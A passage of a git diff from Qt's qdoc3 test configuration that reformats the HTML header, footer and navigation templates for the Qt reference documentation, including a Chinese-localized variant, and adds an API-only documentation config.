+    "    <div id=\"nav-topright\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+    "        <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+    "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+    "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+    "          DOC</a></li>\n" \
+    "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+    "        <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+    "      </ul>\n" \
+    "    </div>\n" \
+    "    <div id=\"shortCut\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+    "        <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+    "        </a></li>\n" \
+    "      </ul>\n" \
+    "     </div>\n" \
+    " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+    "        <li><a href=\"#\">API Lookup</a> \n" \
+    "            <ul id=\"topmenuLook\"> \n" \
+    "              <li><a href=\"classes.html\">所有类</a></li> \n" \
+    "             <li><a href=\"functions.html\">所有函数</a></li> \n" \
+    "              <li><a href=\"modules.html\">Modules</a></li> \n" \
+    "              <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+    "              <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+    "              <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+    "              </ul> \n" \
+    "        </li> \n" \
+    "        <li><a href=\"#\">Qt Topics</a> \n" \
+    "            <ul id=\"topmenuTopic\"> \n" \
+    "              <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+    "              <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+    "              <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+    "              <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+    "            </ul> \n" \
+    "       </li> \n" \
+    "        <li><a href=\"#\">Examples</a> \n" \
+    "            <ul id=\"topmenuexample\"> \n" \
+    "                <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+    "                <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+    "                <li><a href=\"demos.html\">Demos</a></li> \n" \
+    "                <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+    "                <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+    "            </ul> \n" \
+    "        </li> \n" \
+    " </ul> \n" \
+    "    </div>\n" \
+    "  </div>\n" \
+    "  <div class=\"wrapper\">\n" \
+    "    <div class=\"hd\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "    <div class=\"bd group\">\n" \
+    "      <div class=\"sidebar\">\n" \
+    "        <div class=\"searchlabel\">\n" \
+    "          Search index:</div>\n" \
+    "        <div class=\"search\">\n" \
+    "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+    "            <fieldset>\n" \
+    "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+    "            </fieldset>\n" \
+    "          </form>\n" \
+    "        </div>\n" \
+    "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
+    "          <h2 title=\"API Lookup\"><span></span>\n" \
+    "            API Lookup</h2>\n" \
+    "          <div  id=\"list001\" class=\"list\">\n" \
+    "          <ul id=\"ul001\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box bottombar\" id=\"topics\">\n" \
+    "          <h2 title=\"Qt Topics\"><span></span>\n" \
+    "            Qt Topics</h2>\n" \
+    "          <div id=\"list002\" class=\"list\">\n" \
+    "            <ul id=\"ul002\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+    "            </ul>  \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box\" id=\"examples\">\n" \
+    "          <h2 title=\"Examples\"><span></span>\n" \
+    "            Examples</h2>\n" \
+    "          <div id=\"list003\" class=\"list\">\n" \
+    "        <ul id=\"ul003\">\n" \
+    "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "      </div>\n" \
+    "      <div class=\"wrap\">\n" \
+    "        <div class=\"toolbar\">\n" \
+    "          <div class=\"breadcrumb toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "              <!--  Bread crumbs goes here -->\n"
+
+HTML.postpostheader = \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "          <div class=\"toolbuttons toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+    "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+    "                <span>Print</span></a></li>\n" \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"content\">\n"
+
+HTML.footer = \
+    "        <!-- /div -->\n" \
+    "        <div class=\"feedback t_button\">\n" \
+    "          [+] Documentation Feedback</div>\n" \
+    "      </div>\n" \
+    "    </div>\n" \
+    "    <div class=\"ft\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "  </div> \n" \
+    "  <div class=\"footer\">\n" \
+    "    <p>\n" \
+    "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+    "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "      in Finland and/or other countries worldwide.</p>\n" \
+    "    <p>\n" \
+    "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "    <br />\n" \
+    "    <p>\n" \
+    "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "    <p>\n" \
+    "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "      Free Documentation License version 1.3</a>\n" \
+    "      as published by the Free Software Foundation.</p>\n" \
+    "  </div>\n" \
+    "  <div id=\"feedbackBox\">\n" \
+    "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+    "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+    "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+    "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+    "    </form>\n" \
+    "  </div>\n" \
+    "  <div id=\"blurpage\">\n" \
+    "  </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
index b91530f..402ee9e 100644
--- a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
@@ -1,177 +1,176 @@
-HTML.stylesheets        =  style/style.css \
-                           style/OfflineStyle.css \
-                           style/style_ie7.css \
-                           style/style_ie8.css \
-                           style/style_ie6.css
+include(qt-html-default-styles.qdocconf)
 
-HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \
-              "    <div class=\"content\"> \n" \
-              "    <div id=\"nav-logo\">\n" \
-              "      <a href=\"index.html\">Home</a></div>\n" \
-              "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
-              "     <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
-              "     <fieldset>\n" \
-              "     <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
-              "      </fieldset>\n" \
-              "     </form></div>\n" \
-              "    <div id=\"nav-topright\">\n" \
-              "      <ul>\n" \
-              "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
-              "        <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
-              "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
-              "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
-              "          DOC</a></li>\n" \
-              "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
-              "        <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
-              "      </ul>\n" \
-              "    </div>\n" \
-              "    <div id=\"shortCut\">\n" \
-              "      <ul>\n" \
-              "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
-              "        <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
-              "        </a></li>\n" \
-              "      </ul>\n" \
-              "     </div>\n" \
-             " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
-            "        <li><a href=\"#\">API Lookup</a> \n" \
-            "            <ul id=\"topmenuLook\"> \n" \
-            "              <li><a href=\"classes.html\">所有类</a></li> \n" \
-            "             <li><a href=\"functions.html\">所有函数</a></li> \n" \
-            "              <li><a href=\"modules.html\">Modules</a></li> \n" \
-            "              <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
-            "              <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
-            "              <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
-            "              </ul> \n" \
-            "        </li> \n" \
-            "        <li><a href=\"#\">Qt Topics</a> \n" \
-            "            <ul id=\"topmenuTopic\"> \n" \
-            "              <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
-            "              <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
-            "              <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
-            "              <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
-            "            </ul> \n" \
-            "       </li> \n" \
-            "        <li><a href=\"#\">Examples</a> \n" \
-            "            <ul id=\"topmenuexample\"> \n" \
-            "                <li><a href=\"all-examples.html\">Examples</a></li> \n" \
-            "                <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
-            "                <li><a href=\"demos.html\">Demos</a></li> \n" \
-            "                <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
-            "                <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
-            "            </ul> \n" \
-            "        </li> \n" \
-            " </ul> \n" \
-              "    </div>\n" \
-              "  </div>\n" \
-              "  <div class=\"wrapper\">\n" \
-              "    <div class=\"hd\">\n" \
-              "      <span></span>\n" \
-              "    </div>\n" \
-              "    <div class=\"bd group\">\n" \
-              "      <div class=\"sidebar\">\n" \
-              "        <div class=\"searchlabel\">\n" \
-              "          Search index:</div>\n" \
-              "        <div class=\"search\">\n" \
-              "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
-              "            <fieldset>\n" \
-              "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
-              "            </fieldset>\n" \
-              "          </form>\n" \
-              "        </div>\n" \
-              "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
-              "          <h2 title=\"API Lookup\"><span></span>\n" \
-              "            API Lookup</h2>\n" \
-              "          <div  id=\"list001\" class=\"list\">\n" \
-              "          <ul id=\"ul001\" >\n" \
-              "              <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
-              "            </ul> \n" \
-              "          </div>\n" \
-              "        </div>\n" \
-              "        <div class=\"box bottombar\" id=\"topics\">\n" \
-              "          <h2 title=\"Qt Topics\"><span></span>\n" \
-              "            Qt Topics</h2>\n" \
-              "          <div id=\"list002\" class=\"list\">\n" \
-              "            <ul id=\"ul002\" >\n" \
-              "              <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
-              "            </ul>  \n" \
-              "          </div>\n" \
-              "        </div>\n" \
-              "        <div class=\"box\" id=\"examples\">\n" \
-              "          <h2 title=\"Examples\"><span></span>\n" \
-              "            Examples</h2>\n" \
-              "          <div id=\"list003\" class=\"list\">\n" \
-              "        <ul id=\"ul003\">\n" \
-              "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
-              "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
-              "            </ul> \n" \
-              "          </div>\n" \
-              "        </div>\n" \
-              "      </div>\n" \
-              "      <div class=\"wrap\">\n" \
-              "        <div class=\"toolbar\">\n" \
-              "          <div class=\"breadcrumb toolblock\">\n" \
-              "            <ul>\n" \
-              "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
-              "              <!--  Bread crumbs goes here -->\n"
+HTML.postheader = \
+    " <div class=\"header\" id=\"qtdocheader\">\n" \
+    "    <div class=\"content\"> \n" \
+    "    <div id=\"nav-logo\">\n" \
+    "      <a href=\"index.html\">Home</a></div>\n" \
+    "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+    "     <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+    "     <fieldset>\n" \
+    "     <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+    "      </fieldset>\n" \
+    "     </form></div>\n" \
+    "    <div id=\"nav-topright\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+    "        <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+    "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+    "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+    "          DOC</a></li>\n" \
+    "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+    "        <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+    "      </ul>\n" \
+    "    </div>\n" \
+    "    <div id=\"shortCut\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
+    "        <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+    "        </a></li>\n" \
+    "      </ul>\n" \
+    "     </div>\n" \
+    " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+    "        <li><a href=\"#\">API Lookup</a> \n" \
+    "            <ul id=\"topmenuLook\"> \n" \
+    "              <li><a href=\"classes.html\">所有类</a></li> \n" \
+    "             <li><a href=\"functions.html\">所有函数</a></li> \n" \
+    "              <li><a href=\"modules.html\">Modules</a></li> \n" \
+    "              <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+    "              <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+    "              <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+    "              </ul> \n" \
+    "        </li> \n" \
+    "        <li><a href=\"#\">Qt Topics</a> \n" \
+    "            <ul id=\"topmenuTopic\"> \n" \
+    "              <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+    "              <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+    "              <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+    "              <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+    "            </ul> \n" \
+    "       </li> \n" \
+    "        <li><a href=\"#\">Examples</a> \n" \
+    "            <ul id=\"topmenuexample\"> \n" \
+    "                <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+    "                <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+    "                <li><a href=\"demos.html\">Demos</a></li> \n" \
+    "                <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+    "                <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+    "            </ul> \n" \
+    "        </li> \n" \
+    " </ul> \n" \
+    "    </div>\n" \
+    "  </div>\n" \
+    "  <div class=\"wrapper\">\n" \
+    "    <div class=\"hd\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "    <div class=\"bd group\">\n" \
+    "      <div class=\"sidebar\">\n" \
+    "        <div class=\"searchlabel\">\n" \
+    "          Search index:</div>\n" \
+    "        <div class=\"search\">\n" \
+    "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+    "            <fieldset>\n" \
+    "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+    "            </fieldset>\n" \
+    "          </form>\n" \
+    "        </div>\n" \
+    "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
+    "          <h2 title=\"API Lookup\"><span></span>\n" \
+    "            API Lookup</h2>\n" \
+    "          <div  id=\"list001\" class=\"list\">\n" \
+    "          <ul id=\"ul001\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box bottombar\" id=\"topics\">\n" \
+    "          <h2 title=\"Qt Topics\"><span></span>\n" \
+    "            Qt Topics</h2>\n" \
+    "          <div id=\"list002\" class=\"list\">\n" \
+    "            <ul id=\"ul002\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+    "            </ul>  \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box\" id=\"examples\">\n" \
+    "          <h2 title=\"Examples\"><span></span>\n" \
+    "            Examples</h2>\n" \
+    "          <div id=\"list003\" class=\"list\">\n" \
+    "        <ul id=\"ul003\">\n" \
+    "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "      </div>\n" \
+    "      <div class=\"wrap\">\n" \
+    "        <div class=\"toolbar\">\n" \
+    "          <div class=\"breadcrumb toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "              <!--  Bread crumbs goes here -->\n"
 
-HTML.postpostheader = "            </ul>\n" \
-              "          </div>\n" \
-              "          <div class=\"toolbuttons toolblock\">\n" \
-              "            <ul>\n" \
-              "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
-              "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
-              "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
-              "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
-              "                <span>Print</span></a></li>\n" \
-              "            </ul>\n" \
-              "          </div>\n" \
-              "        </div>\n" \
-              "        <div class=\"content\">\n"
+HTML.postpostheader = \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "          <div class=\"toolbuttons toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+    "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+    "                <span>Print</span></a></li>\n" \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"content\">\n"
 
-HTML.footer = "        <!-- /div -->\n" \
-              "        <div class=\"feedback t_button\">\n" \
-              "          [+] Documentation Feedback</div>\n" \
-              "      </div>\n" \
-              "    </div>\n" \
-              "    <div class=\"ft\">\n" \
-              "      <span></span>\n" \
-              "    </div>\n" \
-              "  </div> \n" \
-              "  <div class=\"footer\">\n" \
-              "    <p>\n" \
-              "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
-              "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
-              "      in Finland and/or other countries worldwide.</p>\n" \
-              "    <p>\n" \
-              "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
-              "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
-              "    <br />\n" \
-              "    <p>\n" \
-              "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
-              "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
-              "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
-              "    <p>\n" \
-              "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
-              "      Free Documentation License version 1.3</a>\n" \
-              "      as published by the Free Software Foundation.</p>\n" \
-              "  </div>\n" \
-              "  <div id=\"feedbackBox\">\n" \
-              "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
-              "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
-              "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
-              "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
-              "    </form>\n" \
-              "  </div>\n" \
-              "  <div id=\"blurpage\">\n" \
-              "  </div>\n"
+HTML.footer = \
+    "        <!-- /div -->\n" \
+    "        <div class=\"feedback t_button\">\n" \
+    "          [+] Documentation Feedback</div>\n" \
+    "      </div>\n" \
+    "    </div>\n" \
+    "    <div class=\"ft\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "  </div> \n" \
+    "  <div class=\"footer\">\n" \
+    "    <p>\n" \
+    "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+    "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "      in Finland and/or other countries worldwide.</p>\n" \
+    "    <p>\n" \
+    "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "    <br />\n" \
+    "    <p>\n" \
+    "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "    <p>\n" \
+    "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "      Free Documentation License version 1.3</a>\n" \
+    "      as published by the Free Software Foundation.</p>\n" \
+    "  </div>\n" \
+    "  <div id=\"feedbackBox\">\n" \
+    "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+    "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+    "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+    "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+    "    </form>\n" \
+    "  </div>\n" \
+    "  <div id=\"blurpage\">\n" \
+    "  </div>\n"
diff --git a/tools/qdoc3/test/qt-project-api-only.qdocconf b/tools/qdoc3/test/qt-project-api-only.qdocconf
new file mode 100644
index 0000000..4a91601
--- /dev/null
+++ b/tools/qdoc3/test/qt-project-api-only.qdocconf
@@ -0,0 +1,32 @@
+# Ensures that the generated index contains a URL that can be used by the
+# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf,
+# qmake.qdocconf).
+
+url                     = ./
+
+# Ensures that the documentation for the tools is not included in the generated
+# .qhp file.
+
+qhp.Qt.excluded  += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \
+                    $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \
+                    $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \
+                    $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \
+                    $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc
+
+# Remove the QML documentation from the Qt-only documentation.
+
+excludedirs += $QT_SOURCE_TREE/src/imports
+
+outputdir         = $QT_BUILD_TREE/doc-build/html-qt
